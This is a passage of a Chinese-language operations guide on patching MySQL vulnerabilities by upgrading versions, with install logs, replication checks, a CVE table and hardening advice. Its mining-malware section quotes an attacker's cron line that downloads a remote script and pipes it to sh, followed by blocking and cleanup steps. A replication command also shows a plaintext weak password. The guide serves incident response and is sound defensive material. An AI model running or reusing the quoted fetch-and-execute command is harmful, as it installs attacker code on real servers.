Install 4 Packages
Upgrade 8 Packages
Total size: 3.7 G
Is this ok [y/d/N]: y
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Warning: RPMDB altered outside of yum.
** Found 7 pre-existing rpmdb problem(s), 'yum check' output follows:
elfutils-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
elfutils-libelf-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
freetype-devel-2.8-14.el7.x86_64 has missing requires of pkgconfig(zlib)
1:libguestfs-1.36.10-6.el7.centos.x86_64 has missing requires of mdadm
2:libpng-devel-1.5.13-7.el7_2.x86_64 has missing requires of zlib-devel(x86-64)
libssh2-devel-1.8.0-3.el7.x86_64 has missing requires of pkgconfig(zlib)
1:openssl-devel-1.0.2k-12.el7.x86_64 has missing requires of zlib-devel(x86-64)
Updating : mysql-community-common-8.0.33-1.el7.x86_64 1/20
Installing : mysql-community-client-plugins-8.0.33-1.el7.x86_64 2/20
Updating : mysql-community-libs-8.0.33-1.el7.x86_64 3/20
Updating : mysql-community-client-8.0.33-1.el7.x86_64 4/20
Installing : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 5/20
Updating : mysql-community-server-8.0.33-1.el7.x86_64 6/20
Installing : mysql-community-server-debug-8.0.33-1.el7.x86_64 7/20
Updating : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Updating : mysql-community-libs-compat-8.0.33-1.el7.x86_64 9/20
Updating : mysql-community-devel-8.0.33-1.el7.x86_64 10/20
Updating : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 11/20
Installing : mysql-community-debuginfo-8.0.33-1.el7.x86_64 12/20
Cleanup : mysql-community-devel-8.0.21-1.el7.x86_64 13/20
Cleanup : mysql-community-test-8.0.21-1.el7.x86_64 14/20
Cleanup : mysql-community-server-8.0.21-1.el7.x86_64 15/20
Cleanup : mysql-community-client-8.0.21-1.el7.x86_64 16/20
Cleanup : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Cleanup : mysql-community-libs-compat-8.0.21-1.el7.x86_64 18/20
Cleanup : mysql-community-libs-8.0.21-1.el7.x86_64 19/20
Cleanup : mysql-community-common-8.0.21-1.el7.x86_64 20/20
Verifying : mysql-community-libs-8.0.33-1.el7.x86_64 1/20
Verifying : mysql-community-common-8.0.33-1.el7.x86_64 2/20
Verifying : mysql-community-libs-compat-8.0.33-1.el7.x86_64 3/20
Verifying : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 4/20
Verifying : mysql-community-client-plugins-8.0.33-1.el7.x86_64 5/20
Verifying : mysql-community-server-debug-8.0.33-1.el7.x86_64 6/20
Verifying : mysql-community-debuginfo-8.0.33-1.el7.x86_64 7/20
Verifying : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Verifying : mysql-community-server-8.0.33-1.el7.x86_64 9/20
Verifying : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 10/20
Verifying : mysql-community-client-8.0.33-1.el7.x86_64 11/20
Verifying : mysql-community-devel-8.0.33-1.el7.x86_64 12/20
Verifying : mysql-community-server-8.0.21-1.el7.x86_64 13/20
Verifying : mysql-community-libs-8.0.21-1.el7.x86_64 14/20
Verifying : mysql-community-client-8.0.21-1.el7.x86_64 15/20
Verifying : mysql-community-libs-compat-8.0.21-1.el7.x86_64 16/20
Verifying : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Verifying : mysql-community-common-8.0.21-1.el7.x86_64 18/20
Verifying : mysql-community-test-8.0.21-1.el7.x86_64 19/20
Verifying : mysql-community-devel-8.0.21-1.el7.x86_64 20/20
Installed:
mysql-community-client-plugins.x86_64 0:8.0.33-1.el7
mysql-community-debuginfo.x86_64 0:8.0.33-1.el7
mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7
mysql-community-server-debug.x86_64 0:8.0.33-1.el7
Updated:
mysql-community-client.x86_64 0:8.0.33-1.el7
mysql-community-common.x86_64 0:8.0.33-1.el7
mysql-community-devel.x86_64 0:8.0.33-1.el7
mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7
mysql-community-libs.x86_64 0:8.0.33-1.el7
mysql-community-libs-compat.x86_64 0:8.0.33-1.el7
mysql-community-server.x86_64 0:8.0.33-1.el7
mysql-community-test.x86_64 0:8.0.33-1.el7
Complete!
#驗證
mysql -V
mysql -uroot -p --execute="select version()"
更多參看：Upgrading MySQL with Directly-Downloaded RPM Packages
五、挖礦病毒
肉雞 弱口令 webshell xss 軟件漏洞bug redis zk mysql 0day yarn等都會造成服務器被掃描并且提權。
#惡意定時任務，ip為192.64.119.254 w.3ei.xyz，歸屬：美國 亞利桑那州 鳳凰城
*/6 * * * * curl -fsSL http://w.21-3n.xyz:43768/init.sh | sh > /dev/null 2>&1
#網絡連接查看
lsof -i
netstat -plunt
#本地封堵
iptables -I INPUT -s 192.64.119.254 -j DROP
iptables -A INPUT -s w.21-3n.xyz -j DROP
iptables -A OUTPUT -d w.21-3n.xyz -j DROP
#查看登錄日志
last 或者 last -f /var/log/wtmp
#定時任務刪除不了的，執(zhí)行
chattr -ia /etc/cron.d/root
chattr -ia /etc/crontab
chattr -ia /var/spool/cron/root
chattr -ia /etc/hosts
#正常權限如下
-------------e-- /var/spool/cron/root
#history命令檢查：一定留意有沒有用 wget 或 curl命令來下載類似垃圾郵件機器人或者挖礦程序之類的非常規(guī)軟件。命令歷史存儲在~/.bash_history文件中，因此有些攻擊者會刪除該文件以掩蓋他們的所作所為。跟登錄歷史一樣，若運行history 命令卻沒有輸出任何東西那就表示歷史文件被刪掉了。
#查看異常進程
strace -p PID或lsof-p PID //查看該進程調用的所有系統調用
#Linux后門入 侵檢測工具chkrootkit、RKHunter檢查
#僵死進程處理
ps aux | grep 'defunct'
或
ps -ef | grep defunct | grep -v grep | wc -l
#清理僵尸進程
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'
六、后續(xù)漏洞再次升級到mysql 5.7.43
1）漏洞描述
Oracle MySQL Cluster 安全漏洞(CVE-2023-0361)，Oracle MySQL 安全漏洞(CVE-2023-22053)、Oracle MySQL 安全漏洞(CVE-2023-22054)、Oracle MySQL 安全漏洞(CVE-2023-22008)、Oracle MySQL 安全漏洞(CVE-2023-22046)、Oracle MySQL 安全漏洞(CVE-2023-22056)、Oracle MySQL Server 安全漏洞(CVE-2023-22057、Oracle MySQL Server 安全漏洞(CVE-2023-22058)、Oracle MySQL 安全漏洞(CVE-2023-22033)、Oracle MySQL 安全漏洞(CVE-2023-22005)
2）修復措施：
升級MySQL到5.7.43 版本
3）修復過程
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar
md5sum mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar //輸出MD5: 7efa4ff0e6ab429cf570428e50e9c6d9
#二進制包下載，編譯安裝二進制替換
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
md5sum mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz //輸出MD5: 4f49e175c5e9cd22fbf1655537a18125
#備份
/usr/local/mysql/bin/mysqldump -uroot -p --all-databases >/opt/mysql_db_bak/mysql_all_`date +%Y%m%d`.sql
#驗證
du -sh /opt/mysql_db_bak/*
1.2G /opt/mysql_db_bak/mysql_20230621.sql
1.2G /opt/mysql_db_bak/mysql_20230709.sql
1.2G /opt/mysql_db_bak/mysql_20230716.sql
1.2G /opt/mysql_db_bak/mysql_20230723.sql
1.2G /opt/mysql_db_bak/mysql_20230730.sql
1.3G /opt/mysql_db_bak/mysql_all_20230805.sql
#解壓
tar -xzf mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.7.43-linux-glibc2.12-x86_64 mysql-5.7.43
cd mysql-5.7.43
ls ./bin/ #驗證
ps aux|grep mysql
systemctl status mysqld #確認如下mysql位置和pid是否與ps的一致，現場是一致的
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#查看mysql master是否開啟緩慢關停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.01 sec)
mysql> SET GLOBAL innodb_fast_shutdown=0; #否則執(zhí)行
//緩慢關閉服務的作用：關閉時，InnoDB會在關閉前執(zhí)行完全purge和變化的緩沖區(qū)合并，以確保在版本之間出現文件格式差異時，data files已做好準備。
#或直接執(zhí)行如下命令
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#現場直接
systemctl stop mysqld
systemctl status mysqld //驗證確認
ps aux|grep mysql
#替換二進制文件
mv bin bin_5.7.42 //備份源二進制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二進制目錄遷移到MySQL生產目錄下替換二進制
ll -d bin* //檢查權限
drwxr-xr-x 2 root root 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
chown -R mysql.mysql ./bin //授權
ll -d bin* //再次驗證
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
#重啟mysql服務
systemctl start mysqld
systemctl status mysqld //
#備庫檢查主從一致性
mysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 18.3
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000054
Read_Master_Log_Pos: 11916
Relay_Log_File: slave-relay-bin.000011
Relay_Log_Pos: 12131
Relay_Master_Log_File: master-bin.000054
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
##檢查數據庫所有表是否與當前版本兼容，并更新系統庫
./bin/mysql_upgrade -u root -p //更新數據庫表，它會檢查所有數據庫中的所有表是否與當前版本的MySQL不兼容。mysqlupgrade還回升級了mysql系統數據庫，以便可以利用新的權限或功能。注意：它不會升級時區(qū)表或幫助表的內容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
……
mysql.user OK
The sys schema is already up to date (version 1.5.2).
Checking databases.
cr_debug.breakpoints OK
……
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
//版本驗證
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
//再次備庫檢查主從一致性
mysql> show slave status\G #一般正常
####################### 至此，mysql主從替換就地升級完成，總體簡單易上手，提前做好備份即可##################
#備庫升級，步驟基本同上，但是需要先在主庫加表級鎖
//主庫升級后鎖定
mysql> flush tables with read lock;
Query OK, 0 rows affected (2 min 20.53 sec)
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
#驗證服務關停與ps顯示一致，即下面的20487和2135進程一致
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:31:51 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─20847 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─21353 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin...
Jun 22 13:31:50 mysql-slaver systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:31:51 mysql-slaver mysqld[20834]: Starting MySQL. SUCCESS!
Jun 22 13:31:51 mysql-slaver systemd[1]: Started LSB: start and stop MySQL.
systemctl stop mysqld //關停備庫
#解壓替換
mv bin bin_5.7.42 //備份源二進制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二進制目錄遷移到MySQL生產目錄下替換二進制
chown -R mysql.mysql ./bin/
ll -d bin* //檢查權限
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:24 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 13:16 bin_5.7.42
systemctl start mysqld //重新啟動
#更新檢查
./bin/mysql_upgrade -u root -p //最后輸出如下
Upgrade process completed successfully.
Checking if update is needed.
#驗證進程一致性
ps aux|grep mysqld
systemctl status mysqld
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
#登錄備庫再次驗證主從一致性，一般正常
mysql> show slave status\G
#主庫解鎖，并觀察主從一致性，最終確認即可
mysql> unlock tables;
Query OK, 0 rows affected (0.02 sec)
//至此，MySQL升級完成，祝你也好運！
change master to master_host = '172.16.18.8', master_user = 'repl', master_port=3306, master_password='123456', master_log_file = 'mysql-bin.000030', master_log_pos=243429723;
create table `xxl_job_qrtz_scheduler_state` (\
`SCHED_NAME` varchar(120) NOT NULL,
`INSTANCE_NAME` varchar(200) NOT NULL,
`LAST_CHECKIN_TIME` bigint(13) NOT NULL,
`CHECKIN_INTERVAL` bigint(13) NOT NULL,
PRIMARY KEY (`SCHED_NAME`,`INSTANCE_NAME`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
4）過程報錯處理
1、ERROR 1051 (42S02): Unknown table ……
2、ERROR 1146 (42S02): Table ‘xxl-job.xxl_job_qrtz_scheduler_state’ doesn’t exist
3、ERROR 1813 (HY000): Tablespace ‘xxl-job.xxl_job_qrtz_scheduler_state’ exists.
4、ERROR 1060 (42S21): Duplicate column name ‘CHECKIN_INTERVAL’
對上圖中的執(zhí)行：rm -rf /tmp/mysql.sock.lock，然后執(zhí)行：/etc/rc.d/init.d/mysqld start，這時就可成功，之后stop了，執(zhí)行systemctl start mysqld啟動
注：采用創(chuàng)建臨時庫，創(chuàng)建同名表，復制該表目錄下的frm文件到確實的xxlku下未生效，報其他錯誤，經過一番調試，最終還是報表空間已存在，最后索性刪了重建，因該表只有一條數據
執(zhí)行上述操作完成后，再次執(zhí)行：./bin/mysql_upgrade -uroot -p --force，檢查正常
5）Mysql 5.7.43版本新的漏洞
該版本涉及2個高危漏洞，2個中危漏洞，升級到mysql server8.0.35或5.7.44即可，過程同上，選用Linux通用版本，新進行備庫升級，確認正常后，切換后（如不滿足，熱升級），再執(zhí)行主庫，或參看官方升級過程。如下所示：
| 漏洞編碼 | 漏洞描述 | 影響范圍 |
|---|---|---|
| CVE-2023-38545 CVE-2023-38546 |
涉及編譯時引入的curl關聯漏洞，該漏洞源于允許高權限攻擊者通過多種協議進行網絡訪問來危害 MySQL 服務器，更多請參看：CVE-2023-38545 | MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞,在 8.0.35/5.7.44中被修復 |
| CVE-2023-22084 | 該漏洞涉及Inn哦DB引擎，源于允許高權限攻擊者通過多種協議進行網絡訪問來危害 MySQL 服務器，成功利用上述漏洞的攻擊者可以在目標系統上執(zhí)行任意代碼、獲取用戶數據，提升權限等，更多參看：2023安全報告 | MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞，也是在mysql server8.0.35和5.7.44中被修復 |
| CVE-2023-22028 | 涉及Server: Optimizer，同上 | 5.7.43及之前版本，8.0.31及之前版本存在安全漏洞存在安全漏洞，在mysql server8.0.35和5.7.44中被修復 |
現場驗證：升級mysql 5.7.44過程與上完全相同，未出現異常錯誤
七、Mysql通用防范措施
1）數據傳輸安全
MySQL服務器與客戶端之間的數據傳輸安全是一個重要的層面，即使在內網，尤其是在使用不安全的網絡連接時更為突出。增強數據傳輸的機密性和完整性是我們必須考慮的，可以采用以下幾種方式進行加密和保護：
- SSL/TLS加密
? 通過在MySQL服務器和客戶端之間建立SSL/TLS加密連接，可以有效地保護數據傳輸過程中的機密性和完整性?？梢允褂米院灻C書或者受信任的第三方證書機構頒發(fā)的證書來配置SSL/TLS加密。此外，還應定期更新證書、密鑰，并確保SSL/TLS協議的強度和安全性。
- 限制不安全的網絡訪問
? 通過限制MySQL服務器的網絡訪問，可以有效地減少受到攻擊的風險?？梢允褂梅阑饓σ?guī)則、網絡ACL等方法，限制只允許特定IP地址或者IP地址段進行訪問MySQL服務器。同時，還應禁用不安全的網絡協議和服務，如Telnet、FTP等。
2）訪問控制和身份驗證
MySQL的訪問控制和身份驗證能有效保護數據庫只有經過授權的用戶才能夠對數據庫進行操作，防止未經授權的用戶進行惡意操作和攻擊。
- 安全的密碼策略
? 合理的密碼策略是保護MySQL數據庫的關鍵。應該要求用戶使用復雜的密碼，并設置密碼過期策略、密碼強度驗證等。此外，還應禁止使用默認密碼，并提醒用戶定期更換密碼。
- 強制身份驗證
? MySQL支持多種身份驗證方式，如本地驗證、LDAP驗證等。應選擇安全性較高的身份驗證方式，并在MySQL配置中強制啟用該方式，以確保只有經過身份驗證的用戶才能夠訪問數據庫。
3）合適的權限管理
MySQL的合適的權限管可以有效控制對數據庫的操作范圍，防止未經授權的用戶進行惡意操作和數據泄露。
- 最小權限原則
? 根據最小權限原則，為每個用戶分配最低限度的權限，只賦予其必要的操作權限。這樣可以減少用戶濫用權限的風險，提高數據庫的安全性。
- 定期審計用戶權限
? 定期審計用戶的權限是保護數據庫安全的重要環(huán)節(jié)。通過定期檢查和評估用戶的權限配置，及時發(fā)現和糾正不合理的權限設置，以確保用戶權限的合理性和安全性。
4）防止SQL注入攻擊
SQL注入攻擊是MySQL數據庫常見的安全威脅之一。攻擊者通過構造惡意的SQL語句，利用應用程序的漏洞來注入惡意代碼并執(zhí)行非法操作。除定期內外掃描，sql滲透測試外，為防止SQL注入攻擊，還可以采取以下幾種措施。
- 輸入驗證和過濾
? 對于用戶輸入的數據，應該進行有效的驗證和過濾，確保數據的合法性和完整性。可以使用正則表達式、過濾函數等方法來檢查和過濾用戶輸入的數據。文章來源：http://www.zghlxwxcb.cn/news/detail-636026.html
- 參數化查詢
? 采用參數化查詢可以避免將用戶輸入的數據直接嵌入到SQL語句中，從而減少SQL注入攻擊的風險。通過使用預編譯語句和占位符，將用戶輸入的參數與SQL語句分離，確保數據的安全性。文章來源地址http://www.zghlxwxcb.cn/news/detail-636026.html
到了這里，關于Mysql漏洞處理之升級版本到5.7.42/5.7.43過程指導手冊的文章就介紹完了。如果您還想了解更多內容，請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章，希望大家以后多多支持TOY模板網！
